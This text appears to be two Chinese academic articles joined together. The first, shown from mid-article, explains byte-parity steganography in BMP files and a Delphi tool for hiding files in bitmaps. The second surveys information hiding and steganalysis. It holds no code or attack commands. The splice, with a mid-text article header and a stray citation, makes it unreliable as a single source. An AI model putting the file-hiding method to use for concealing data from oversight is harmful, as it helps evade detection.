BMP圖像文件是位圖文件,位圖表示的是將一幅圖像分割成柵格,柵格的每一點(diǎn)稱(chēng)為像素,每一個(gè)像素具有自已的RG值,即一幅圖像是由一系列像素點(diǎn)構(gòu)成的點(diǎn)陣。BMP文件由文件頭、位圖信息頭、顏色信息和圖像數(shù)據(jù)四部分組成。文件頭由54個(gè)字節(jié)的數(shù)據(jù)段組成,其中包含有該位圖文件的類(lèi)型、大小、圖像尺寸及打印格式等; 從第55個(gè)字節(jié)開(kāi)始,是該文件的圖像數(shù)據(jù)部分,數(shù)據(jù)的排列順序以圖像的左下角為起點(diǎn),每連續(xù)3個(gè)字節(jié)便描述圖像一個(gè)像素點(diǎn)的顏色信息,這三個(gè)字節(jié)分別代表藍(lán)、綠、紅三基色在此像素中的亮度。
2.2 BMP實(shí)現(xiàn)原理
一幅24位BMP圖像,由54字節(jié)的文件頭和圖像數(shù)據(jù)部分組成,其中文件頭不能隱藏信息,從第55字節(jié)以后為圖像數(shù)據(jù)部分,可以隱藏信息。圖像數(shù)據(jù)部分是由一系列的8位二進(jìn)制數(shù)所組成,由于每個(gè)8位二進(jìn)制數(shù)中“1”的個(gè)數(shù)或者為奇數(shù)或者為偶數(shù),約定:若一個(gè)字節(jié)中“1”的個(gè)數(shù)為奇數(shù),則稱(chēng)該字節(jié)為奇性字節(jié),用“1”表示;若一個(gè)字節(jié)中“1”的個(gè)數(shù)為偶數(shù),則稱(chēng)該字節(jié)為偶性字節(jié),用“0”表示。用每個(gè)字節(jié)的奇偶性來(lái)表示隱藏的信息。將信息嵌入BMP文件的步驟為:
(1)將待隱藏信息轉(zhuǎn)化為二進(jìn)制數(shù)據(jù)碼流;
(2)將BMP文件圖像數(shù)據(jù)部分的每個(gè)字節(jié)的奇偶性與上述二進(jìn)制數(shù)碼流進(jìn)行比較;
(3)通過(guò)調(diào)整字節(jié)最低位的“0”或“1”,改變字節(jié)的奇偶性,使之與上述二進(jìn)制數(shù)據(jù)流一致,即將信息嵌入到24位BMP圖像中。
由于原始24位BMP圖像文件隱藏信息后,其字節(jié)數(shù)值最多變化1(因?yàn)槭窃谧止?jié)的最低位加“1”或減“1”),該字節(jié)代表的顏色濃度最多只變化了1/256,所以,已隱藏信息的BMP圖像與未隱藏信息的BMP圖像,用肉眼是看不出差別的; 使用這種方法,一個(gè)大小為32 k的24位BMP圖像文件,可以隱藏約32 k/8=4 k的信息(忽略文件頭不能隱藏?cái)?shù)據(jù)的54個(gè)字節(jié)),該方法具有較高的信息隱藏率
2.3 信息的提取
信息提取是把隱藏的信息從偽裝BMP中讀取出來(lái),其過(guò)程和步驟正好與信息嵌入相反:
(1)判斷BMP文件圖像數(shù)據(jù)部分每個(gè)字節(jié)的奇偶性,若字節(jié)中“1”的個(gè)數(shù)為偶數(shù),則輸出“0”;若字節(jié)中“1”的個(gè)數(shù)為奇數(shù),則輸出“1”;
(2)每判斷8個(gè)字節(jié),便將輸出的8位數(shù)組成一個(gè)二進(jìn)制數(shù)(先輸出的為高位);
(3)經(jīng)過(guò)上述處理,得到一系列8位二進(jìn)制數(shù),便是隱藏信息的代碼,將代碼轉(zhuǎn)換成文本,或圖像,或聲音,就是隱藏的信息。
3 文件隱藏大師的實(shí)現(xiàn)
文件隱藏大師的主要功能是可以快速隱藏本地硬盤(pán)上的可執(zhí)行文件、程序源等任意文件。 所謂隱藏,就是指任何人無(wú)法通過(guò)資源瀏覽器,我的電腦,DOS方式等方法找到已隱藏的東西。
文件隱藏大師是基于Delphi 2005開(kāi)發(fā)的,Delphi是全新的可視化編程環(huán)境,是基于Object Pascal語(yǔ)言的面向?qū)ο蟮拈_(kāi)發(fā)工具,具有強(qiáng)大的數(shù)據(jù)存取功能。它的數(shù)據(jù)處理工具BDE(Borland Database Engine)是一個(gè)標(biāo)準(zhǔn)的中介軟件層,可以用來(lái)處理當(dāng)前流行的數(shù)據(jù)格式,如xBase、Paradox等,也可以通過(guò)BDE的SQL Link直接與Sybase、SQL Server、Informix、Oracle等大型數(shù)據(jù)庫(kù)連接。
文件隱藏大師包含密碼驗(yàn)證模塊、初始化模塊、添加/刪除位圖模塊、隱藏文件模塊、提取文件模塊、密碼管理模塊、選項(xiàng)設(shè)置模塊和關(guān)閉系統(tǒng)模塊。
3.1 文件隱藏大師模塊設(shè)計(jì)
(1)密碼驗(yàn)證模塊
設(shè)置密碼驗(yàn)證模塊的功能在于幫助用戶(hù)維護(hù)系統(tǒng)安全。進(jìn)入本系統(tǒng)前,必須首先通過(guò)密碼驗(yàn)證,如圖1所示,如果用戶(hù)沒(méi)有設(shè)置密碼,則進(jìn)入系統(tǒng)時(shí),會(huì)跳過(guò)本模塊。
圖1 密碼驗(yàn)證模塊界面圖
(2)初始化模塊
設(shè)置初始化模塊的目的在于把用戶(hù)已經(jīng)操作過(guò)的文件記錄顯示到文件列表中,以便于用戶(hù)的操作。當(dāng)用戶(hù)經(jīng)過(guò)密碼驗(yàn)證后,程序會(huì)在注冊(cè)表里讀取用戶(hù)先前操作過(guò)的記錄,并將該記錄輸出到程序主界面的文件列表里,以供用戶(hù)繼續(xù)操作。
(3)添加/刪除位圖模塊
設(shè)置添加/刪除位圖模塊的目的在于把位圖路徑添加到文件列表中,以便于用戶(hù)隱藏文件,或?qū)o(wú)用的位圖信息從文件列表中刪除。添加位圖:可以將想要作為模板的位圖加入列表,然后再把文件隱藏到其中。刪除位圖:將您覺(jué)得無(wú)用的位圖文件刪掉。
(4)隱藏文件模塊
設(shè)置隱藏文件模塊的目的在于把用戶(hù)的文件隱藏到位圖中。隱藏文件:先在列表當(dāng)中選中一幅位圖,然后點(diǎn)擊該按鈕就可以選擇您想要隱藏的文件了。
(5)提取文件模塊
設(shè)置提取文件模塊的目的在于把用戶(hù)隱藏在位圖中的文件提取出來(lái)。提取文件:先在列表中選擇一幅已經(jīng)隱藏了文件的位圖,然后點(diǎn)擊該按鈕選擇要保存的路徑即可。
(6)密碼管理模塊
設(shè)置密碼管理模塊的目的在于提高系統(tǒng)的安全性。
(7)選項(xiàng)設(shè)置模塊
可以設(shè)置在隱藏/提取文件時(shí),系統(tǒng)對(duì)操作后的各個(gè)文件的自動(dòng)處理。選項(xiàng):在選項(xiàng)中您還可以設(shè)置隱藏文件使對(duì)原稿的處理,并且還可以為軟件設(shè)置密碼,以使其得到更好的保護(hù)。
(8)關(guān)閉系統(tǒng)模塊
設(shè)置本模塊的目的在于給用戶(hù)提供退出系統(tǒng)的功能。
3.2文件隱藏大師功能簡(jiǎn)介
利用“文件隱藏大師”,如圖2所示,可以很輕松的在瞬間把任何文件隱藏到一幅位圖當(dāng)中。
圖2 文件隱藏大師界面圖
(1)功能簡(jiǎn)介
添加位圖:可以將你想要作為模板的位圖加入列表,然后再把文件隱藏到其中。
刪除位圖:將您覺(jué)得無(wú)用的位圖文件刪掉。
隱藏文件:先在列表當(dāng)中選中一幅位圖,然后點(diǎn)擊該按鈕就可以選擇您想要隱藏的文件了。
提取文件:先在列表中選擇一幅已經(jīng)隱藏了文件的位圖,然后點(diǎn)擊該按鈕選擇要保存的路徑即可。
選項(xiàng):在選項(xiàng)中您還可以設(shè)置隱藏文件使對(duì)原稿的處理,并且還可以為軟件設(shè)置密碼,以使其得到更好的保護(hù)。
(2)軟件的詳細(xì)操作步驟
隱藏文件操作步驟:
①使用“添加位圖”按鈕,添加一幅24位色的位圖到文件列表當(dāng)中;
②在文件列表中選擇一個(gè)位圖文件后,點(diǎn)擊“隱藏文件”按鈕,然后選擇一個(gè)你想要隱藏的文件。
提取文件操作步驟:
①在文件列表中選擇一個(gè)位圖文件后,軟件底部會(huì)顯示有關(guān)被隱藏文件的信息;
②點(diǎn)擊“提取文件”按鈕,選擇目錄后,就會(huì)將隱藏的文件提取到該目錄下。
4 軟件的測(cè)試
軟件開(kāi)發(fā)完畢后應(yīng)與系統(tǒng)中其它成分集成在一起,驗(yàn)證系統(tǒng)各部件是否都能完成所賦予的任務(wù)。下面將文件隱藏大師進(jìn)行測(cè)試,測(cè)試要點(diǎn)如表1所示:
表1 文件隱藏大師測(cè)試要點(diǎn)
經(jīng)過(guò)上述的測(cè)試過(guò)程對(duì)軟件進(jìn)行測(cè)試后,軟件基本滿(mǎn)足開(kāi)發(fā)的要求,測(cè)試結(jié)束,軟件試運(yùn)行。載入的原始位圖圖像如圖3所示,隱藏文件后的位圖圖像如圖4所示。由于該方法只對(duì)位圖顏色濃度變化了1/256,對(duì)原始圖像的數(shù)據(jù)影響不大, 所以?xún)煞鶊D像質(zhì)量沒(méi)有變化。
5 結(jié)束語(yǔ)
文件隱藏大師可以輕松的把任意類(lèi)型的文件隱藏到一幅24位色的位圖當(dāng)中,從而實(shí)現(xiàn)隱藏文件的目的,它是目前流行的Windows 優(yōu)化管理軟件如:Windows優(yōu)化大師、超級(jí)兔子等所不具備的功能,具有一定的價(jià)值。
參考文獻(xiàn):
[1]Elke Franz.Steganography preserving statistical properties[A].Lecture Notes in Computer Science 5th International Workshop on Information Hiding[C].Noordwijkerhout,The Netherlands.2002.2578.
[2]喬小燕.孫興華.楊靜宇.基于視覺(jué)冗余性的圖像信息隱藏[J].計(jì)算機(jī)應(yīng)用,2006,26(1): 96-98.
[3]趙君,王乘. 圖像格式分析與圖像顯示實(shí)現(xiàn)[J]. 計(jì)算機(jī)與數(shù)字工程,2004,32(5).
中圖分類(lèi)號(hào):TP391.41 文獻(xiàn)標(biāo)識(shí)碼:A 文章編號(hào):1674-7712 (2013) 20-0000-01
隨著計(jì)算機(jī)以及網(wǎng)絡(luò)技術(shù)的高速發(fā)展,網(wǎng)絡(luò)時(shí)代和數(shù)字時(shí)代己經(jīng)拉開(kāi)了帷幕,但同時(shí)也跟我們帶來(lái)了很多問(wèn)題。比如一些絕密的信息以及文件能否在互聯(lián)網(wǎng)中安全傳輸;個(gè)人的隱私能否得到相應(yīng)的保障;一些公司、企業(yè)的商業(yè)機(jī)密會(huì)不會(huì)被他人竊取;多媒體的版權(quán)維護(hù)問(wèn)題等。信息安全得到了國(guó)內(nèi)外各界的高度重視。
由此,一門(mén)新興的學(xué)科——信息隱藏(Information Hiding)應(yīng)運(yùn)而生。它的主要原理是利用了人類(lèi)的感覺(jué)器官對(duì)數(shù)字信號(hào)的冗余,從而把一個(gè)有用的消息(即隱秘信息)偽裝隱藏在另外一個(gè)載體信息中,并且這個(gè)載體信息是可以公開(kāi)的在信道里面?zhèn)鬏數(shù)模[秘之后就可以得到一個(gè)隱蔽載體,從而能夠?qū)崿F(xiàn)隱秘信息在信道中的隱蔽通信。在傳送過(guò)程中,第三方很難知道一個(gè)看似普通信息中是否隱含了其他的隱秘信息,就算知道也很難將其提取出來(lái)。
信息隱藏技術(shù)目前主要包括兩個(gè)方面:數(shù)字水印和信息隱寫(xiě)。數(shù)字水印主要是對(duì)數(shù)字媒體起標(biāo)識(shí)以及版權(quán)保護(hù)作用;信息隱寫(xiě)則是將隱秘信息偽裝隱藏于其它的載體信息中。很多地方將數(shù)字水印技術(shù)作為一個(gè)單獨(dú)的分支拿出來(lái)做研究,同樣本文對(duì)數(shù)字水印也不做過(guò)多研究。信息隱藏技術(shù)是一把雙刃劍,一方面信息隱藏技術(shù)能夠?yàn)檎巍④娛乱约敖?jīng)濟(jì)的機(jī)密信息在互聯(lián)網(wǎng)中的傳輸提供可靠的保障,個(gè)人在公共網(wǎng)絡(luò)中的安全和隱私也可以得到很好的保護(hù);另一方面,也有可能被某些懷有不當(dāng)目的的個(gè)人或者組織所利用,在網(wǎng)絡(luò)中傳播一些非法或破壞性的信息,從而對(duì)社會(huì)的公共安全以及國(guó)家安全造成了很大的危害。因此我們?cè)趯W(xué)習(xí)、研究信息隱藏技術(shù)里這個(gè)“矛”的時(shí)候,也應(yīng)該學(xué)習(xí)、研究其“盾”(隱寫(xiě)分析技術(shù))。
一、信息隱藏技術(shù)
信息隱藏技術(shù)和傳統(tǒng)的密碼技術(shù)相比,相同點(diǎn)是二者都是為了保證隱秘信息的安全。不同的則是密碼技術(shù)是對(duì)秘密信息進(jìn)行特殊的編碼從而形成了第三方不可識(shí)別的密文。信息隱藏是將秘密信息偽裝隱藏于另外一個(gè)可以公開(kāi)傳遞的載體信息之中,通過(guò)此載體信息在網(wǎng)絡(luò)上傳輸來(lái)傳遞隱秘信息。傳統(tǒng)密碼技術(shù)由于密文是雜亂的,所以很容易被第三方辨認(rèn)出來(lái),這樣的話(huà)第三方的目的就很明確了,一旦截獲了密文,全力去破解即可。但是對(duì)信息隱藏技術(shù)來(lái)說(shuō),僅通過(guò)視覺(jué)無(wú)法判斷出載體信息是否含有隱秘信息,因此面對(duì)互聯(lián)網(wǎng)的海量信息,第三方在短時(shí)間內(nèi)很難辨別出數(shù)字媒體是否包含有隱秘信息。因而跟傳統(tǒng)的密碼技術(shù)相比信息隱藏技術(shù)能更有效地保證隱秘信息的安全。信息隱藏技術(shù)模型如圖1所示,隱秘信息通過(guò)密鑰偽裝隱藏到載體信息之中,然后通過(guò)公共信道傳輸給接收對(duì)象,接收對(duì)象接收到信息以后根據(jù)密鑰就可以提取出想要得到的隱秘信息。在公共信道中,首先第三方很難察覺(jué)到載體信息中有隱秘信息,就算察覺(jué)到了,也很難提取出隱秘信息。
信息隱藏技術(shù)發(fā)展至今出現(xiàn)了許多經(jīng)典的算法,在圖像中嵌入隱秘信息的算法大致可以分為空域算法和變換域算法兩種。空域方法包括使用LSB編碼、用圖像處理或壓縮、變換算法對(duì)圖像的屬性進(jìn)行修改。基本原理就是利用圖像本身的冗余性和人眼對(duì)圖像顏色或者灰度的分辨率的感官特性實(shí)現(xiàn)的信息隱藏。隱藏后并不改變載體圖像的使用價(jià)值和基本特征,隱秘前后僅靠肉眼基本看不出圖像差別。經(jīng)典算法大概包括:最低有效位算法,調(diào)色板方法以及Patchwork算法。而對(duì)于變換域的隱藏方法主要是使用離散傅立葉變換(DFT),離散余弦變換(DCT)或者小波變換在圖像中嵌入信息。變換可以基于整個(gè)圖像,也可以對(duì)整個(gè)圖像進(jìn)行分塊操作。經(jīng)典算法大概包括:DFT變換域算法,DCT變換域算法以及DWT變換域算法。
二、隱寫(xiě)分析技術(shù)
自古有矛就有盾,隱寫(xiě)分析技術(shù)是指對(duì)被表明為正常的圖像、音頻、視頻等多媒體信號(hào)進(jìn)行檢測(cè),判斷其中是否嵌有秘密信息,甚至只是指出媒體中是否存在秘密信息的可能性大小。它的基本原理是根據(jù)載體信息在隱寫(xiě)前后的統(tǒng)計(jì)特性的變化,從而能夠分辨出載體信息是否包含有隱秘信息。一般原始圖像的特性是比較連續(xù)、光滑的而且像素之間具有較高的相關(guān)性。而隱秘圖像一般都是隨機(jī)的比特流,而且與原始的載體信息之間相互獨(dú)立,所以圖像相鄰像素之間的相關(guān)性將會(huì)大大降低。隱寫(xiě)分析技術(shù)從某種程度上說(shuō)其實(shí)就是兩類(lèi)分類(lèi)的模式識(shí)別問(wèn)題,其關(guān)鍵是特征的選擇,好的特征能較好的幫助我們判斷出載體是否含有隱秘信息。
針對(duì)某種特定隱寫(xiě)術(shù)的隱寫(xiě)分析可分為空域分析和變換域分析。空域隱寫(xiě)分析主要攻擊對(duì)象是空域LSB隱寫(xiě)算法,主要包括有EZStego,s-Tool等。經(jīng)典的分析算法包括直方圖分析法、x2分析法、RS分析法等。變換域隱寫(xiě)分析的主要攻擊對(duì)象為DCT域隱寫(xiě)術(shù),它包括有Jsteg、Outguess、F5以及MB等,變換域隱寫(xiě)分析主要思路是DCT系數(shù)在隱寫(xiě)前后特性會(huì)發(fā)生變化。通用隱寫(xiě)分析主要根據(jù)圖像隱寫(xiě)前后總體或者局部統(tǒng)計(jì)特性的變化,然后選取統(tǒng)計(jì)特征向量進(jìn)行訓(xùn)練,最后通過(guò)分類(lèi)器進(jìn)行有效分類(lèi)。
三、總結(jié)和展望
綜上所述,信息隱藏技術(shù)與隱寫(xiě)分析技術(shù)已成為了當(dāng)下一個(gè)熱點(diǎn)問(wèn)題,應(yīng)用于越來(lái)越多的領(lǐng)域,二者相互制約,相互促進(jìn)。但是它們現(xiàn)在都還處在一個(gè)發(fā)展階段,還有很多問(wèn)題需要我們?nèi)ソ鉀Q。對(duì)隱寫(xiě)分析來(lái)說(shuō),現(xiàn)在有很多種方法可以檢測(cè)出圖像是否含有隱秘信息,但要估計(jì)出隱秘信息的長(zhǎng)度,甚至提取出隱秘信息,現(xiàn)在仍然難以做到,這也將是以后研究工作的重點(diǎn)和難點(diǎn)。同時(shí)特征的選取,分類(lèi)器的設(shè)計(jì)以及降維技術(shù)都還存在可以?xún)?yōu)化的空間。
[10]郝慧珍,傅汝林.基于IP偽裝的網(wǎng)絡(luò)安全技術(shù)研究[J].成都理工學(xué)院學(xué)報(bào),2002,29(3):315-319.